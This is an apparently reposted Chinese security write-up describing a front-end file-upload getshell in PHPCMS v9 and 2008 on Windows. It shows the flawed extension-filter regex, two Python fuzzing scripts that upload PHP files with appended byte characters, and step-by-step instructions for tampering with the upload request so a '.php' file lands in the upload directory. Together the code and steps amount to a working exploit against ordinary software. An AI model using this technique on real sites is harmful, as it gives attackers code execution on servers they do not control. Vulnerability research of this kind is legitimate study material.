网站地图    收藏   

主页 > 后端 > 网站安全 >

PHPCMS全版本通杀getshell(前台) - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 这里的全版本是指:最新v9 5 6 + v9 others +phpcms 2008 + 这个漏洞在Windows下和Linux下利用方法不一样,鉴于 @phpcms (省略10000字),都懂的 这里我只给出Windows的利用方法(Linux的利用涉及另一个漏...

这里的全版本是指:最新v9.5.6 + v9 others +phpcms 2008 + ..
这个漏洞在Windows下和Linux下利用方法不一样,鉴于 @phpcms (省略10000字),都懂的..
这里我只给出Windows的利用方法(Linux的利用涉及另一个漏洞,暂不公开) 
Tips:这个洞在我手里已经有很长一段时间了,主要目的是分享里面涉及的思路.
 
#1漏洞文件及相应的代码
 
/phpcms/libs/classes/attachment.class.php
 
/phpcms/modules/attachment/attachments.php
 
造成漏洞的代码(只贴最重要的)
 
$aids = $attachment->upload('Filedata',$_POST['filetype_post'],'','',array($_POST['thumb_width'],$_POST['thumb_height']),$_POST['watermark_enable']);

//...

foreach($uploadfiles as $k=>$file) {

$fileext = fileext($file['name']);

if($file['error'] != 0) {

$this->error = $file['error'];

return false; 

}

if(!preg_match("/^(".$this->alowexts.")$/", $fileext)) {

$this->error = '10';

return false;

}

if($this->maxsize && $file['size'] > $this->maxsize) {

$this->error = '11';

return false;

}

if(!$this->isuploadedfile($file['tmp_name'])) {

$this->error = '12';

return false;

}

$temp_filename = $this->getname($fileext);

$savefile = $this->savepath.$temp_filename;

$savefile = preg_replace("/(php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i", "_\\1\\2", $savefile);

$filepath = preg_replace(new_addslashes("|^".$this->upload_root."|"), "", $savefile);

//..

}

 

 
 
从上面的代码,可以看出上传的文件类型是我们可以控制的,$_POST['filetype_post'] post提交的,于是我们貌似就可以直接上传php类型的文件,是不是呢? 显然不是,接下来的这行代码限制了我们上传的文件格式
 
$savefile = preg_replace("/(php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i", "_\\1\\2", $savefile);
 
 
很明显,只要文件类似test.php,test.php.php经过此代码后,均会被修改为test._php,test._php._php,显然不是我们想要的结果,我们来分析分析 这个正则替换(这里我们简化下)..
 
preg_replace("/(php|php3|php4)(\.|$)/i", "_\\1\\2", $savefile);
 
 
正则的意思是字符串中查找以php结尾或包含"php."的字符串,找到就将之加上相应的下划线替换掉,这个正则表面上看起来似乎没有什么问题,但是仔细想想呢,还是有问题的..
 
倘若我们上传的文件后缀为".phpX"(这里的"X"表示某一特殊字符),则绕过了这个正则,而恰巧".phpX"可以解析为php(如php3,php4,当然这里这两个不行),或.phpX经过后面函数或程序代码的处理,或利用系统的特性、PHP的特性等,将这个特殊字符处理掉,那不就ok了,下面就来测试这两种情况..
 
#2 测试用的伪代码
 
为了更好的测试,我这里简化了代码,更改为如下
 
<?php

if(isset($_POST['submit'])){

$savefile = $_FILES['file']['name'];

$tempfile = $_FILES['file']['tmp_name'];

$savefile = preg_replace("/(php|php3|php4)(\.|$)/i", "_\\1\\2", $savefile);//这里是整个漏洞的核心代码,同样这里进行了简化,我们只关注php

$savefile = 'upload/'.$savefile;

if(upload($tempfile,$savefile,true)){//copy & move_uploaded_file

exit('Success upload,path is:'.$savefile."<br>");

}

}

function upload($src,$dst,$mode=false){

if($mode){

if(@copy($src,$dst)){

return true;

}

}else{

if(@move_uploaded_file($src,$dst)){

return true;

}

}

return false;

}

?>

<html>

<body>

<form method="post" action="copy.php" enctype="multipart/form-data">

 <input type="file" name="file" value="1111"/>

 <input type="submit" name="submit" value="upload"/>

</form>

</body>

</html>

 

 
 
#3 思路一:测试除了php3、php4,还有没有其他的后缀可以解析为php
 
Fuzzing 测试代码1如下(py)
 
#by felixk3y ..

import sys

import time

import random

import urllib

import urllib2

def randstr(num):

    sts = ''

    char = '1234567890abcdexyz'

    for i in range(num):

        sts += random.choice(char)

    return sts

def setfile(fname,fstr):

    try:

        fp = open(fname,'a+')

        fp.write(fstr)

        fp.close()

        return True

    except:

        return False

def hex_to_ascii(ch):

    return '{:c}'.format(int(float.fromhex(ch)))

if __name__=="__main__":

    mfile = []

    url = sys.argv[1]

    if 'http://' not in url:

        url = 'http://%s' % url

    fstr = '<?php\r\nphpinfo();\r\n?>'

    for i in range(256):

        s = '%02d' % i

        randnum = randstr(8)

        fname = 'uploads/(%s)%s.php'%(i,randnum)

        print '[+] Writing file %s ..'%fname

        shex = hex_to_ascii(s)

        fname = '%s%s'%(fname,shex)

        flag = setfile(fname,fstr)

        if flag:

            fname1=fname.decode('gbk', 'replace')

            fname1 = urllib.quote(fname1.encode('GB2312', 'replace'))

            u = '%s/%s'%(url,fname1)

            try:

                h = urllib2.urlopen(u)

                res = h.read()

                if 'DOCTYPE' in res:

                    mfile.append(fname)

            except:

                pass

    print '\r\n[+] The result is:'

    for uu in mfile:

        print uu

 

 
该程序在本地跑起来,效果如图..
 
 
可以看出,在Windows环境下,只有php3可以解析为php(Kali Linux测试php5可以解析为php),由于.php3会被转换为._php3,所以这个思路行不通..
 
#4 思路二:有没有可能将特殊字符串"X"干掉
 
Fuzzing 测试代码2如下(py)
 
#by felixk3y ..

import sys

import random

import urllib2

def hex_to_ascii(ch):

    return '{:c}'.format(int(float.fromhex(ch)))

def randstr(num):

    sts = ''

    char = '1234567890abcdexyz'

    for i in range(num):

        sts += random.choice(char)

    return sts

def postdata(mHex,sname):

    data = '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'

    data += 'Content-Disposition: form-data; name="file"; filename="%s.php%s"\r\n' % (sname,mHex)

    data += 'Content-Type: application/octet-stream\r\n\r\n'

    data += '<?php phpinfo();?>\r\n'

    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'

    data += 'Content-Disposition: form-data; name="submit"\r\n\r\n'

    data += 'upload\r\n'

    data += '------WebKitFormBoundarycMYRelX1B2H69xy9--\r\n\r\n'

    return data

def Fuzzing(mstr,url):

    posturl='%s/upload/copy.php' % url

    headers = {

        'User-Agent' : 'Googlebot/2.1 (+http://www.google.com/bot.html)',

        'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundarycMYRelX1B2H69xy9'

    }

    sname = '%s-%s' % (mstr,randstr(8))

    sHex = hex_to_ascii(mstr)

    posts = postdata(sHex,sname)

    request = urllib2.Request(posturl,posts,headers)

    response = urllib2.urlopen(request)

    htmls = response.read()

    response.close()

if __name__=="__main__":

    url = sys.argv[1]

    if 'http://' not in url:

        url = 'http://%s' % url

    for i in range(256):

        print '[+] %d ' % i

        #time.sleep(2)

        if i==20:continue

        s = '%02d' % i

        Fuzzing(s,url)

 

 
 
同样,该程序在本地跑起来,效果如图..
 
D:\>Fuzzing_phpcms_upload.py www.vuln.org
 
 
 
文件名前面的数字是被"干掉"字符的十进制数字,可以看出%81--%99会被干掉..
 
该特性雷同Windows下对"."和" "(空格)的忽略。
 
#5 测试phpcms
 
好,由于经过上面的Fuzzing知道,只要文件名为".phpX"(X表示%81-%99),就可以生成绕过正则生成".php",成功getshell..
 
首先在网站后台进行如下的设置..
 
1.内容 > 管理栏目 > 设置投稿 (允许)
 
2.用户 > 会员组管理 > 管理会员组 > 设置是否允许上传附件(允许上传)
 
 
 
随便上传一个jpg文件(这里是显示phpinfo信息),抓包 修改,如图:
 
 
这里有两处需要修改:
 
jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf 
 
//后面添加phpX
 
Content-Disposition: form-data; name="Filedata"; filename="11.jpg" 
 
//上面的11.jpg修改为phpX
 
这里X为%81-%99
 
 
点击Forward即可在 /phpcms/uploadfile/2014/0530/ 目录下生成php文件,如图
 
 
就到这里了,至于phpcms 2008 getshell的方法与之类似,不再阐述

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论